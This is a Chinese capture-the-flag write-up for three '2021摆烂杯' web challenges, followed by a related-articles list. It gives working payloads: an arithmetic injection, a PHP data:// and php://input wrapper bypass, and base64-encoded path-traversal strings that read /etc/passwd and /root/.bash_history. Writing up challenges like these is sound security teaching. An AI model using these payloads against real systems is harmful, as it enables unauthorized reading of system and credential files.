【2021摆烂杯】web

简介: 【2021摆烂杯】web

web签到

php和python中都是用**来表示幂

请输入三个整数A、B、C,使得:
A³+B³+C³=114

这里整数解不出来,尝试用开三次方的方法绕过整数限制

(5)**3+(-1)**3+(-10**(1/3))**3=114.0

方法二

计算方式为A3+B3+C3=114

使用+0来绕过开头为0的判断

用括号来绕3次方

绕过我们A输入+114)+(0

B和C输入+0

整个式子就成了

(+114)+(0)**3+(+0)**3+(+0)**3 =114

一行代码

<?php
echo !(!(include "flag.php")||(!error_reporting(0))||stripos($_GET['filename'],'.')||($_GET['id']!=0)||(strlen($_GET['content'])<=7)||(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||substr($_GET['content'],0,1)=='w'||(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow"))?$flag:str_repeat(highlight_file(__FILE__), 0);

整理一下代码得到下面的逻辑

stripos($_GET['filename'],'.')===False
$_GET['id']=0
strlen($_GET['content'])>7
eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow")
substr($_GET['content'],0,1)=='w'===False
//可以用通配符.或者*绕过
file_get_contents($_GET['filename'],'r') == "welcome2ctfshow"

这里是一个三目运算符,条件为真时输出flag,由于开头有个!,因此所有条件需要为假才能输出flag

eregi()函数大小写不敏感,这里可以用W来绕过;

?id=0&content=W1111111111&filename=data://text/plain,welcome2ctfshow

也可以换成input伪协议

get:?id=0&content=W111111111&filename=php://input
post:welcome2ctfshow

登陆不了

看了一圈内容,发现问题出在验证码这里,创建新页面打开

/v/c?r=YzgxZTcyOC5qcGc=
c81e728.jpg

任意文件下载(读取)漏洞

这里jpg给的是相对路径,盲猜是和前缀路径拼凑,因此读取需要用…/进行穿越

../../../../../../../../../../../etc/passwd
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
成功回显出passwd

尝试确定中间件,先看历史命令记录(隐藏文件的.前缀)

一般是查看.bash_history或者是.zsh_history
不知道用户名可以~/用,查看root的需要root权限
../../../../../../../../../../../~/.bash_history发现没有回显
../../../../../../../../../../../root/.bash_history
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcm9vdC8uYmFzaF9oaXN0b3J5
apache-tomcat-8.5.45
是java框架啊,不会,溜了

黑客网站

# @hint: flag不在这个服务器上,不用扫描,不用渗透
一直重复
tyro s4qw s3mm bubg jqje 46nc v35j aqjg eb3n qiuf 23ij oj4z wasx ohyd onion


目录
相关文章
|
6月前
|
安全 前端开发 PHP
LitCTF(web)
LitCTF(web)
50 3
|
存储 消息中间件 JSON
Web APls-day05
Web APls-day05
|
XML 移动开发 JavaScript
Web APls-day01
Web APls-day01
104 0
|
JavaScript 算法 前端开发
Web APls-day04
Web APls-day04
100 0
|
前端开发 关系型数据库 MySQL
web常见的问题详解
web常见的问题详解
135 0
|
区块链
Web 3.0,究竟是什么?
Web 3.0,究竟是什么?
166 0
|
存储 Web App开发 人工智能
带你了解什么是 Web3.0
1989年,CERN(欧洲粒子物理研究所)中TimBerners-Lee领导的技术小组提交了一个针对互联网的新协议和一个使用该协议的文档系统,该小组将该系统命名为WorldWideWeb,简称WWW(万维网),也就是我们现在熟知的“互联网”,它的目的在于使全球的科学家能够利用互联网来交流自己的工作文档。它采用的技术主要是HTML、URI、URL、HTTP等,可以通过静态的方式展示网页内容。通常来说,Web1.0指的是20世纪90年代和21世纪初的互联网。什么是Web3.0?
638 0
|
XML 存储 JavaScript
Web你容易忽略的问题
《基础系列》
142 0
|
前端开发 数据库 Python
Web相关知识
Web相关知识
110 0
|
Web App开发 移动开发 前端开发
初识Web
初识Web
192 0
初识Web